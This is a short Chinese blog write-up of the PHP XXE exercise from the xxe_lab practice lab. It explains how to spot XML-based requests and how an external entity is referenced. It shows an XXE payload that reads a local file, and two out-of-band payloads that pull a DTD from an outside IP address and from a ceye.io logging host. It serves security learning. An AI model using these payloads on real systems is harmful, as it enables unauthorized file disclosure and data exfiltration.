php_xxe

最新推荐文章于 2024-09-12 09:31:27 发布

小龙_(R0 Team)

最新推荐文章于 2024-09-12 09:31:27 发布

阅读量136

点赞数 1

分类专栏： WEB安全基础文章标签： php android 开发语言

本文链接：https://blog.csdn.net/qq_52579508/article/details/140496733

版权

WEB安全基础专栏收录该内容

25 篇文章 0 订阅

订阅专栏

这是xxe_lab 里面的php xxe的题目
看这个xxe 的漏洞一般看包里面是否存在<> 这种标签或者存在xml 的格式
抓包查看
输入 admin 123456 之后

正常的一般提交数据都是 username = admin password= 123456
这里却不是这样的
很想html 和xml 的语法

发送过去返回的格式就是 text/html

这里 <!ENTITY f 这里的 f
在下面xml 数据里面要有相当于是个变量
&f;
所以就输出了 123123

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "file:///C://123.txt">
]>
<user><username>&f;</username><password>admin</password></user>

外带

payload

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://211.159.223.136:888/xs.dtd">%aaa;%ccc;%ddd;]>
<user><username>&aaa;</username><password>1</password></user>


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://192.168.100.123.wvt4ld.ceye.io/xxe_test">
%remote;]>
<root/>
<user><username>&remote;</username><password>1</password></user>